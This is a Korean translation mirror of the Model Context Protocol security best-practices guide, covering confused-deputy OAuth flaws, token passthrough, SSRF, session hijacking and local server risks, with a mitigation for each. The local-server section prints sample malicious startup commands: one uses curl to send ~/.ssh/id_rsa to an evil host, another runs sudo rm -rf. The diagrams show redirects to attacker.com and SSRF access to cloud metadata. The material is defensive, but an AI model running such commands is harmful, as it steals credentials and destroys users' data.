CPN 한국어 자습서 · 외부 문서 한국어 미러
MCP 문서 · Tutorials
Security Best Practices · 원문: modelcontextprotocol.io/docs/tutorials/security/security_best_practices
아래는 원문을 한국어로 옮긴 미러입니다. 코드·명령은 원문 그대로이며, 가장 최신 정보는 하단 원문 링크에서 확인하세요.
MCP 구현을 위한 보안 고려 사항, 공격 벡터, 모범 사례
이 문서는 Model Context Protocol(MCP)에 대한 보안 고려 사항을 제공하며, MCP 인증 사양을 보완합니다. MCP 구현에 특화된 보안 위험, 공격 벡터, 모범 사례를 파악합니다.
이 문서의 주요 독자는 MCP 인증 흐름을 구현하는 개발자, MCP 서버 운영자, MCP 기반 시스템을 평가하는 보안 전문가입니다. 이 문서는 MCP 인증 사양 및 OAuth 2.0 보안 모범 사례와 함께 읽어야 합니다.
이 섹션에서는 MCP 구현에 대한 공격과 잠재적 대응 방안을 상세히 설명합니다.
공격자는 서드파티 API에 연결하는 MCP 프록시 서버를 악용하여 "혼동된 대리인(confused deputy)" 취약점을 만들 수 있습니다. 이 공격은 정적 클라이언트 ID, 동적 클라이언트 등록, 동의 쿠키의 조합을 악용하여 악성 클라이언트가 적절한 사용자 동의 없이 인증 코드를 획득할 수 있게 합니다.
MCP 프록시 서버: MCP 클라이언트를 서드파티 API에 연결하는 MCP 서버로, MCP 기능을 제공하면서 작업을 위임하고 서드파티 API 서버에 단일 OAuth 클라이언트로 동작합니다.
서드파티 인증 서버: 서드파티 API를 보호하는 인증 서버입니다. 동적 클라이언트 등록을 지원하지 않아 MCP 프록시가 모든 요청에 정적 클라이언트 ID를 사용해야 할 수 있습니다.
서드파티 API: 실제 API 기능을 제공하는 보호된 리소스 서버입니다. 이 API에 접근하려면 서드파티 인증 서버가 발급한 토큰이 필요합니다.
정적 클라이언트 ID: MCP 프록시 서버가 서드파티 인증 서버와 통신할 때 사용하는 고정 OAuth 2.0 클라이언트 식별자입니다. 이 클라이언트 ID는 어떤 MCP 클라이언트가 요청을 시작했는지와 무관하게 모든 MCP 서버 대 서드파티 API 상호작용에 동일한 값이 사용됩니다.
다음 조건이 모두 충족될 때 이 공격이 가능해집니다.
sequenceDiagram
participant UA as User-Agent (Browser)
participant MC as MCP Client
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
Note over UA,M: Initial Auth flow completed
Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
M->>UA: Redirect to third party authorization server
UA->>TAS: Authorization request (client_id: mcp-proxy)
TAS->>UA: Authorization consent screen
Note over UA: Review consent screen
UA->>TAS: Approve
TAS->>UA: Set consent cookie for client ID: mcp-proxy
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to MCP Client with MCP authorization code
Note over M,UA: Exchange code for token, etc.
sequenceDiagram
participant UA as User-Agent (Browser)
participant M as MCP Proxy Server
participant TAS as Third-Party Authorization Server
participant A as Attacker
Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
A->>M: Dynamically register malicious client, redirect_uri: attacker.com
A->>UA: Sends malicious link
UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
TAS->>TAS: Cookie present, consent skipped
TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
UA->>M: 3P Authorization code
Note over M,TAS: Exchange 3P code for 3P token
Note over M: Generate MCP authorization code
M->>UA: Redirect to attacker.com with MCP Authorization code
UA->>A: MCP Authorization code delivered to attacker.com
Note over M,A: Attacker exchanges MCP code for MCP token
A->>M: Attacker impersonates user to MCP server
MCP 프록시 서버가 서드파티 인증 서버와 인증하기 위해 정적 클라이언트 ID를 사용할 때 다음 공격이 가능해집니다.
redirect_uri에 지정된)로 리디렉션됩니다.혼동된 대리인 공격을 방지하기 위해 MCP 프록시 서버는 아래에 설명된 대로 클라이언트별 동의와 적절한 보안 제어를 반드시 구현해야 합니다.
다음 다이어그램은 서드파티 인증 흐름 전에 실행되는 클라이언트별 동의를 올바르게 구현하는 방법을 보여줍니다.
sequenceDiagram
participant Client as MCP Client
participant Browser as User's Browser
participant MCP as MCP Server
participant ThirdParty as Third-Party AuthZ Server
Note over Client,ThirdParty: 1. Client Registration (Dynamic)
Client->>MCP: Register with redirect_uri
MCP-->>Client: client_id
Note over Client,ThirdParty: 2. Authorization Request
Client->>Browser: Open MCP server authorization URL
Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
alt Check MCP Server Consent
MCP->>MCP: Check consent for this client_id
Note over MCP: Not previously approved
end
MCP->>Browser: Show MCP server-owned consent page
Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
Browser->>MCP: POST /consent (approve)
MCP->>MCP: Store consent decision for client_id
Note over Client,ThirdParty: 3. Forward to Third-Party
MCP->>Browser: Redirect to third-party /authorize
Note over MCP: Use static client_id for third-party
Browser->>ThirdParty: Authorization request (static client_id)
ThirdParty->>Browser: User authenticates & consents
ThirdParty->>Browser: Redirect with auth code
Browser->>MCP: Callback with third-party code
MCP->>ThirdParty: Exchange code for token (using static client_id)
MCP->>Browser: Redirect to client's registered redirect_uri
클라이언트별 동의 저장
MCP 프록시 서버는 반드시:
client_id 값의 레지스트리를 유지해야 합니다.동의 UI 요건
MCP 수준의 동의 페이지는 반드시:
redirect_uri를 표시해야 합니다.frame-ancestors CSP 지시어 또는 X-Frame-Options: DENY로 iframe을 방지해야 합니다.동의 쿠키 보안
쿠키를 사용해 동의 결정을 추적하는 경우, 쿠키는 반드시:
__Host- 접두사를 사용해야 합니다.Secure, HttpOnly, SameSite=Lax 속성을 설정해야 합니다.client_id에 바인딩되어야 합니다("사용자가 동의했다"는 것만으로는 부족).Redirect URI 검증
MCP 프록시 서버는 반드시:
redirect_uri가 등록된 URI와 정확히 일치하는지 검증해야 합니다.redirect_uri가 변경된 경우 요청을 거부해야 합니다.OAuth State 파라미터 검증
OAuth state 파라미터는 인증 코드 가로채기 및 CSRF 공격을 방지하는 데 중요합니다. 적절한 state 검증은 인증 엔드포인트에서의 동의 승인이 콜백 엔드포인트에서도 적용되도록 보장합니다.
OAuth 흐름을 구현하는 MCP 프록시 서버는 반드시:
state 값을 생성해야 합니다.state 값을 서버 측(안전한 세션 저장소 또는 암호화된 쿠키)에 저장해야 합니다.state 추적 쿠키/세션을 설정해야 합니다(동의 승인 전이 아님).state 쿼리 파라미터가 콜백 요청의 쿠키 또는 쿠키 기반 세션에 저장된 값과 정확히 일치하는지 검증해야 합니다.state 파라미터가 누락되거나 일치하지 않는 모든 콜백 요청을 거부해야 합니다.state 값은 단일 사용(검증 후 삭제)이어야 하며 짧은 만료 시간(예: 10분)을 가져야 합니다.state 값을 포함하는 동의 쿠키 또는 세션은 MCP 서버의 인증 엔드포인트에서 사용자가 동의 화면을 승인한 후에만 설정되어야 합니다. 동의 승인 전에 이 쿠키를 설정하면 동의 화면이 무력화됩니다.
"토큰 패스스루"는 MCP 서버가 토큰이 MCP 서버를 위해 올바르게 발급되었는지 검증하지 않고 MCP 클라이언트의 토큰을 수락하여 다운스트림 API로 전달하는 안티패턴입니다.
토큰 패스스루는 인증 사양에서 다음과 같은 여러 보안 위험을 도입한다는 이유로 명시적으로 금지됩니다.
MCP 서버는 MCP 서버를 위해 명시적으로 발급되지 않은 토큰을 절대 수락해서는 안 됩니다.
서버 측 요청 위조(SSRF)는 공격자가 MCP 클라이언트로 하여금 의도하지 않은 목적지로 HTTP 요청을 보내도록 유도하는 공격으로, 내부 네트워크 리소스, 클라우드 메타데이터 엔드포인트 또는 기타 보호된 서비스에 잠재적으로 접근할 수 있습니다.
OAuth 메타데이터 탐색 중, MCP 클라이언트는 악성 MCP 서버가 제어할 수 있는 여러 소스에서 URL을 가져옵니다.
WWW-Authenticate 헤더의 resource_metadata URLauthorization_servers URLtoken_endpoint, authorization_endpoint 등 URL악성 MCP 서버는 이 필드에 내부 리소스를 가리키는 URL을 입력하여 다음 공격 패턴을 활성화할 수 있습니다.
http://192.168.1.1/admin 또는 http://10.0.0.1/api와 같은 URL로 내부 네트워크 서비스를 대상으로 합니다.http://169.254.169.254/(AWS/GCP/Azure 메타데이터 서비스)를 대상으로 하는 URL로 클라우드 자격 증명 및 인스턴스 정보를 탈취할 수 있습니다.http://localhost:6379/와 같은 URL로 로컬 서비스(Redis, 데이터베이스, 관리 패널)와 상호작용할 수 있습니다.sequenceDiagram
participant Client as MCP Client
participant MCP as Malicious MCP Server
participant Internal as Internal Service
Client->>MCP: Connect to MCP server
MCP-->>Client: 401 + resource_metadata="http://169.254.169.254/..."
Note over Client: Client follows URL without validation
Client->>Internal: GET http://169.254.169.254/latest/meta-data/
Internal-->>Client: Cloud credentials/metadata
Note over Client: Error or response details leak to attacker
Client->>MCP: Subsequent request with error details
서버에 배포된 MCP 클라이언트는 OAuth 관련 URL을 가져올 때 SSRF 위험을 고려하고 적절한 완화 방안을 반드시 구현해야 합니다.
HTTPS 적용
MCP 클라이언트는 프로덕션 환경에서 모든 OAuth 관련 URL에 HTTPS를 요구해야 합니다.
localhost, 127.0.0.1, ::1)를 제외하고 http:// URL을 거부하십시오.프라이빗 IP 범위 차단
RFC 9728 Section 7.7의 권고에 따라 MCP 클라이언트는 프라이빗 및 예약된 IP 주소 범위로의 요청을 차단해야 합니다.
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16127.0.0.0/8, ::1(개발 시 명시적으로 허용된 경우 제외)169.254.0.0/16(클라우드 메타데이터 엔드포인트 포함)fc00::/7, fe80::/10참고: IP 검증을 직접 구현하지 마십시오. 공격자는 사용자 정의 파서가 자주 놓치는 인코딩 트릭(8진수, 16진수, IPv4-매핑 IPv6)을 악용합니다.
리디렉션 대상 검증
MCP 클라이언트는 리디렉션 대상에도 동일한 URL 검증을 적용해야 합니다.
이그레스 프록시 사용
서버 측 MCP 클라이언트 배포의 경우, 운영자는 네트워크 정책을 시행하는 이그레스 프록시 사용을 고려해야 합니다.
세션 하이재킹은 서버가 클라이언트에게 세션 ID를 제공하고 권한 없는 당사자가 동일한 세션 ID를 획득하여 원래 클라이언트를 가장하는 공격 벡터입니다.
sequenceDiagram
participant Client
participant ServerA
participant Queue
participant ServerB
participant Attacker
Client->>ServerA: Initialize (connect to streamable HTTP server)
ServerA-->>Client: Respond with session ID
Attacker->>ServerB: Access/guess session ID
Note right of Attacker: Attacker knows/guesses session ID
Attacker->>ServerB: Trigger event (malicious payload, using session ID)
ServerB->>Queue: Enqueue event (keyed by session ID)
ServerA->>Queue: Poll for events (using session ID)
Queue-->>ServerA: Event data (malicious payload)
ServerA-->>Client: Async response (malicious payload)
Client->>Client: Acts based on malicious payload
sequenceDiagram
participant Client
participant Server
participant Attacker
Client->>Server: Initialize (login/authenticate)
Server-->>Client: Respond with session ID (persistent session created)
Attacker->>Server: Access/guess session ID
Note right of Attacker: Attacker knows/guesses session ID
Attacker->>Server: Make API call (using session ID, no re-auth)
Server-->>Attacker: Respond as if Attacker is Client (session hijack)
MCP 요청을 처리하는 여러 상태 저장 HTTP 서버가 있는 경우, 다음 공격 벡터가 가능합니다.
세션 하이재킹 프롬프트 인젝션
세션 하이재킹 가장
인증을 구현하는 MCP 서버는 모든 인바운드 요청을 반드시 검증해야 합니다. MCP 서버는 인증에 세션을 절대 사용해서는 안 됩니다.
MCP 서버는 안전하고 비결정적인 세션 ID를 반드시 사용해야 합니다. 생성된 세션 ID(예: UUID)는 안전한 난수 생성기를 사용해야 합니다.
MCP 서버는 세션 ID를 사용자별 정보와 바인딩해야 합니다. 세션 관련 데이터를 저장하거나 전송할 때(예: 큐), 세션 ID를 인증된 사용자의 내부 사용자 ID와 같은 고유 정보와 결합하십시오. <user_id>:<session_id> 형식의 키를 사용하십시오.
로컬 MCP 서버는 사용자가 서버를 다운로드하여 실행하거나, 직접 작성하거나, 클라이언트 설정 흐름을 통해 설치하여 사용자의 로컬 머신에서 실행되는 MCP 서버입니다. 이 서버는 사용자 시스템에 직접 접근할 수 있으며 동일 머신에서 실행되는 다른 프로세스에 의해 접근될 수 있어 공격 대상이 됩니다.
로컬 MCP 서버는 MCP 클라이언트와 동일한 머신에 다운로드되어 실행되는 바이너리입니다. 적절한 샌드박싱과 동의 요건이 없으면 다음 공격이 가능해집니다.
내장될 수 있는 악성 시작 명령 예시:
# 데이터 탈취 npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location # 권한 상승 sudo rm -rf /important/system/files && echo "MCP server installed!"
MCP 클라이언트가 원클릭 로컬 MCP 서버 설정을 지원하는 경우, 명령 실행 전에 적절한 동의 메커니즘을 반드시 구현해야 합니다.
설정 전 동의
원클릭 설정을 통해 새 로컬 MCP 서버를 연결하기 전에 명확한 동의 대화상자를 표시합니다. MCP 클라이언트는 반드시:
MCP 클라이언트는 잠재적 코드 실행 공격 벡터를 완화하기 위해 추가 확인 및 가드레일을 구현해야 합니다.
sudo, rm -rf, 네트워크 작업, 예상 디렉터리 외부 파일 시스템 접근을 포함하는 명령 등)을 강조 표시합니다.로컬 실행을 의도하는 MCP 서버는 악성 프로세스로부터 무단 사용을 방지하기 위한 조치를 구현해야 합니다.
stdio 전송을 사용하여 MCP 클라이언트로만 접근을 제한합니다.잘못된 스코프 설계는 토큰 침해의 영향을 확대하고, 사용자 마찰을 높이며, 감사 추적을 불명확하게 합니다.
공격자가 로그 누출, 메모리 스크래핑, 또는 로컬 가로채기를 통해 광범위한 스코프(files:*, db:*, admin:*)를 가진 액세스 토큰을 획득합니다. 이는 MCP 서버가 scopes_supported의 모든 스코프를 노출하고 클라이언트가 모두 요청했기 때문에 사전에 부여된 것입니다.
점진적, 최소 권한 스코프 모델을 구현합니다.
mcp:tools-basic)에는 저위험 탐색/읽기 작업만 포함합니다.WWW-Authenticate scope="..." 챌린지를 통한 점진적 승격을 구현합니다.서버 지침:
클라이언트 지침:
WWW-Authenticate에 지정된 스코프)만으로 시작하십시오.scopes_supported에 모든 가능한 스코프 게시*, all, full-access)적절한 최소화는 침해 영향을 제한하고, 감사 명확성을 개선하며, 동의 마찰을 줄입니다.
원문(영어): https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices · 본 문서는 학습용 한국어 번역이며 원본의 권리는 원저작자(Model Context Protocol)에게 있습니다.
원문(영어): https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices